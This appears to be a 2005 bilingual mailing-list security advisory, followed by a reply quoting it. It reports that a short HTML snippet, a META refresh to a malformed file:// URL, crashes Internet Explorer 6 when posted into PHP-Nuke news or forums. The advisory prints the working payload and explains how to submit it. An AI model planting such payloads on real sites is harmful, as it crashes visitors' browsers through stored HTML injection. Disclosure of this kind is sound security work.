html code include in phpnuke news crash IE 6

www.wormzweb.tk

------------------------------------------------------------------------
------------------------------------------------------------------------
ENGLISH
------------------------------------------------------------------------
------------------------------------------------------------------------

An html code include in the news in php-nuke (6.5 patched tested) make visitors with Internet Explorer 6 to crash.

The code is the following:
************************************************** ****
<html>

<head>
<META HTTP-EQUIV="Refresh" CONTENT="5;URL=file:// :\">
</head>

<body>
</body>

</html>

************************************************** ****

Submit news with this code without the admin verification, or submited by the admin will produce a error in Internet Explorer 6.x

This code can be included in forums or other places which allow html code with the same result.

You can read more about this in spanish:
http://usuarios.lycos.es/wormzweb/mo...2b35239862c2c1

And you can test it (IE will crahs about 5 seconds after the web will be completed charged)in this link:
http://usuarios.lycos.es/wormzweb/mo...rticle&sid=164

------------------------------------------------------------------------
------------------------------------------------------------------------
SPANISH
------------------------------------------------------------------------
------------------------------------------------------------------------


Un código html incluido en las noticias de php-nuke (probado en la 6.5 parcheada) hace a los viitantes con Internet Explorer un error. (Se produce el cierre del navegador)


El código es el siguiente:
************************************************** ****
<html>

<head>
<META HTTP-EQUIV="Refresh" CONTENT="5;URL=file:// :\">
</head>

<body>
</body>

</html>

************************************************** ****


Un usuario podría enviar una noticia incluyendo este codigo y sin la vereficación del administrador, o el propio envio por el administrador provocará que los visitantes de la web que usen Internet Explorer 6.x se les cierre la página y produzca error en e
l navegador

Este código puede ser incluido en foros y otros lugares que permitan código html con el mismo resultado.

Puedes leer mas sobre este bug en el siguente link:
http://usuarios.lycos.es/wormzweb/mo...2b35239862c2c1

Puedes ver el codigo en uso y testear como funciona en el siguente link (Usando IE 6.x se cerrará el navegador pasados unos 5 segundos después de que la página se haya cargado completamente):

http://usuarios.lycos.es/wormzweb/mo...rticle&sid=164

__________________________________________________ ______________________

Para mas info [::wormz::] www.wormzweb.tk

Same old, same old...
http://www.securityfocus.com/archive/1/390536
http://www.securityfocus.com/archive/1/385147
http://www.securityfocus.com/archive/1/362524

----- Original Message -----=20
From: "WoRmZ Web" <wormz.web@gmail.com>
To: <bugtraq@securityfocus.com>
Sent: Sunday, March 13, 2005 23:47
Subject: html code include in phpnuke news crash IE 6


>=20
>=20
> www.wormzweb.tk
>=20
> =
------------------------------------------------------------------------
> =
------------------------------------------------------------------------
> ENGLISH
> =
------------------------------------------------------------------------
> =
------------------------------------------------------------------------
>=20
> An html code include in the news in php-nuke (6.5 patched tested) make =
visitors with Internet Explorer 6 to crash.=20
>=20
> The code is the following:
> ************************************************** ****
> <html>=20
>=20
> <head>=20
> <META HTTP-EQUIV=3D"Refresh" CONTENT=3D"5;URL=3Dfile:// :\">=20
> </head>=20
>=20
> <body>=20
> </body>=20
>=20
> </html>
>=20
> ************************************************** ****
>=20
> Submit news with this code without the admin verification, or submited =
by the admin will produce a error in Internet Explorer 6.x
>=20
> This code can be included in forums or other places which allow html =
code with the same result.
>=20
> You can read more about this in spanish:
> =
http://usuarios.lycos.es/wormzweb/mo...file=3Dviewto=
pic&t=3D15&sid=3Df30c8bf88b4028790c2b35239862c2c1
>=20
> And you can test it (IE will crahs about 5 seconds after the web will =
be completed charged)in this link:
> =
http://usuarios.lycos.es/wormzweb/mo...le=3Darticle&=
sid=3D164
>=20
> =
------------------------------------------------------------------------
> =
------------------------------------------------------------------------
> SPANISH
> =
------------------------------------------------------------------------
> =
------------------------------------------------------------------------
>=20
>=20
> Un c=F3digo html incluido en las noticias de php-nuke (probado en la =
6.5 parcheada) hace a los viitantes con Internet Explorer un error. (Se =
produce el cierre del navegador)
>=20
>=20
> El c=F3digo es el siguiente:
> ************************************************** ****
> <html>=20
>=20
> <head>=20
> <META HTTP-EQUIV=3D"Refresh" CONTENT=3D"5;URL=3Dfile:// :\">=20
> </head>=20
>=20
> <body>=20
> </body>=20
>=20
> </html>
>=20
> ************************************************** ****
>=20
>=20
> Un usuario podr=EDa enviar una noticia incluyendo este codigo y sin la =
vereficaci=F3n del administrador, o el propio envio por el administrador =
provocar=E1 que los visitantes de la web que usen Internet Explorer 6.x =
se les cierre la p=E1gina y produzca error en el navegador
>=20
> Este c=F3digo puede ser incluido en foros y otros lugares que permitan =
c=F3digo html con el mismo resultado.
>=20
> Puedes leer mas sobre este bug en el siguente link:
> =
http://usuarios.lycos.es/wormzweb/mo...file=3Dviewto=
pic&t=3D15&sid=3Df30c8bf88b4028790c2b35239862c2c1
>=20
> Puedes ver el codigo en uso y testear como funciona en el siguente =
link (Usando IE 6.x se cerrar=E1 el navegador pasados unos 5 segundos =
despu=E9s de que la p=E1gina se haya cargado completamente):
>=20
> =
http://usuarios.lycos.es/wormzweb/mo...le=3Darticle&=
sid=3D164
>=20
> =
__________________________________________________ ______________________
>=20
> Para mas info [::wormz::] www.wormzweb.tk